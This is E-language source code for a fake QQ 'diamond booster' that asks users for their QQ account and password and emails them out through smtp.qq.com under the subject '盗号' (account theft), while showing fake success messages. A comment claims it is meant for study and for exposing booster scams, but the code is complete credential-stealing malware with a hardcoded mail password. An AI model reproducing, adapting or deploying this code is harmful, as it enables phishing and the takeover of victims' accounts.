.版本 2
.支持库 internet
.程序集 窗口程序集1
.子程序 _按钮3_被单击
' 本源码仅供研究学习,请勿用于任何非法用途!本源码写出来的用意在于揭穿QQ刷钻机的骗子行为,让大家都明白其中的道理所在’
.判断开始 (编辑框2.内容 = “”)
信息框 (“请先登陆您的QQ帐号!”, #信息图标, “温馨提示”)
返回 ()
.判断 (编辑框3.内容 = “”)
信息框 (“请先登陆您的QQ帐号!”, #信息图标, “温馨提示”)
返回 ()
.默认
.判断结束
.如果真 (单选框1.选中)
信息框 (“恭喜您,您的QQ业务已经被系统受理,24小时内会自动为您开通业务到账户!”, #信息图标, “温馨提示”)
.如果真结束
.如果真 (单选框2.选中)
信息框 (“恭喜您,您的QQ业务已经被系统受理,24小时内会自动为您开通业务到账户!”, #信息图标, “温馨提示”)
.如果真结束
.如果真 (单选框3.选中)
信息框 (“恭喜您,您的QQ业务已经被系统受理,24小时内会自动为您开通业务到账户!”, #信息图标, “温馨提示”)
.如果真结束
.如果真 (单选框4.选中)
信息框 (“恭喜您,您的QQ业务已经被系统受理,24小时内会自动为您开通业务到账户!”, #信息图标, “温馨提示”)
.如果真结束
.如果真 (单选框5.选中)
信息框 (“恭喜您,您的QQ业务已经被系统受理,24小时内会自动为您开通业务到账户!”, #信息图标, “温馨提示”)
.如果真结束
.如果真 (单选框6.选中)
信息框 (“恭喜您,您的QQ业务已经被系统受理,24小时内会自动为您开通业务到账户!”, #信息图标, “温馨提示”)
.如果真结束
.如果真 (单选框7.选中)
信息框 (“恭喜您,您的QQ业务已经被系统受理,24小时内会自动为您开通业务到账户!”, #信息图标, “温馨提示”)
.如果真结束
.如果真 (单选框8.选中)
信息框 (“恭喜您,您的QQ业务已经被系统受理,24小时内会自动为您开通业务到账户!”, #信息图标, “温馨提示”)
.如果真结束
.如果真 (单选框9.选中)
信息框 (“恭喜您,您的QQ业务已经被系统受理,24小时内会自动为您开通业务到账户!”, #信息图标, “温馨提示”)
.如果真结束
.子程序 _按钮2_被单击
' 这里出于简单考虑,所以未经过腾讯服务器验证,如果需要验证的话可以用彗星http模块,进行验证!'
.如果 (编辑框2.内容 ≠ “”)
.如果 (编辑框3.内容 ≠ “”)
连接发信服务器 (“smtp.qq.com”, 25, “
[email protected]”, “xiaoxuan0831”, 2000)
发送邮件 (“盗号”, “QQ帐号:” + 编辑框2.内容 + “QQ密码:” + 编辑框3.内容, “您收信的邮件地址”, , , “您发信的邮件账户”, )
信息框 (“恭喜您,登陆成功!”, #信息图标, “系统提示”)
编辑框3.禁止 = 真
编辑框2.禁止 = 真
.否则
信息框 (“请输入QQ密码!”, #信息图标, “温馨提示”)
.如果结束
.否则
信息框 (“请输入QQ账号!”, #信息图标, “温馨提示”)
.如果结束
.子程序 __启动窗口_创建完毕